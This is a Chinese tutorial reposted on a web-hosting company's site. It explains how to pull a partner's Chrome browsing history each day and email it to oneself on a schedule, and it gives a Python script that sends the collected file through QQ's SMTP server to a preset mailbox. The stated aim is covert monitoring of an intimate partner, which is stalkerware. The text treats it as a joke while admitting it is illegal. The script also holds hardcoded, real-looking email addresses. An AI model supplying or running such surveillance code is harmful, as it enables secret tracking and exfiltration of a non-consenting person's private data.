Python实时监控网站浏览记录是怎么实现的-创新互联
创新互联www.cdcxhl.cn八线动态BGP香港云服务器提供商,新人活动买多久送多久,划算不套路!
成都创新互联是专业的新区网站建设公司,新区接单;提供网站建设、网站制作,网页设计,网站设计,建网站,PHP网站建设等专业做网站服务;采用PHP框架,可快速的进行新区网站开发网页制作和功能扩展;专业做搜索引擎喜爱的网站,专业的做网站团队,希望更多企业前来合作!小编这次要给大家分享的是Python实时监控网站浏览记录是怎么实现的,文章内容丰富,感兴趣的小伙伴可以来了解一下,希望大家阅读完这篇文章之后能够有所收获。
需求:
(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中
(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)
(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了
准备
- macOS Sierra
- Python3.6
- Chrome
发送邮件的qq邮箱地址
qq邮箱授权码
SMTP服务器地址 : smtp.qq.com
接受邮件的邮箱地址
执行:
(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成
从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中
(2) get_history.py:
# -*- coding: utf-8 -*- from email import encoders from email.header import Header from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.utils import parseaddr, formataddr import smtplib import argparse # 1.文件执行的需要的参数(result.txt) parser = argparse.ArgumentParser() parser.add_argument('affix_file',help='the path of the affix') args = parser.parse_args() # 2.格式化一个邮件地址和邮件信息 def _format_addr(s): name, addr = parseaddr(s) return formataddr((Header(name, 'utf-8').encode(), addr)) #连接服务器(这里大家好改成自己的!) from_addr = "771568102@qq.com" #发件人邮箱 password = "xxxxxxxx" #发件人邮箱授权码 to_addr = "2160802033@cnu.edu.cn" #收件人邮箱 smtp_server = "smtp.qq.com" #SMTP服务器地址 #邮件发件人名字、收件人名字、主题 msg = MIMEMultipart() msg['From'] = _format_addr('风一样的女子 <%s>' % from_addr) msg['To'] = _format_addr('风一样的男子 <%s>' % to_addr) msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode() # 邮件正文是MIMEText: msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8')) # 添加附件就是加上一个MIMEBase,从本地读取一个txt文件: with open(args.affix_file, 'r') as f: # 设置附件的MIME和文件名,这里是py类型: mime = MIMEBase('result', 'txt', filename='result.txt') # 加上必要的头信息: mime.add_header('Content-Disposition', 'attachment', filename='result.txt') mime.add_header('Content-ID', '<0>') mime.add_header('X-Attachment-Id', '0') # 把附件的内容读进来: mime.set_payload(f.read()) # 用Base64编码: encoders.encode_base64(mime) # 添加到MIMEMultipart: msg.attach(mime) #3.通过SMTP发送出去 server = smtplib.SMTP(smtp_server, 25) server.set_debuglevel(1) server.login(from_addr, password) server.sendmail(from_addr, [to_addr], msg.as_string()) server.quit()
网页标题:Python实时监控网站浏览记录是怎么实现的-创新互联
分享网址:http://cdiso.cn/article/cdheop.html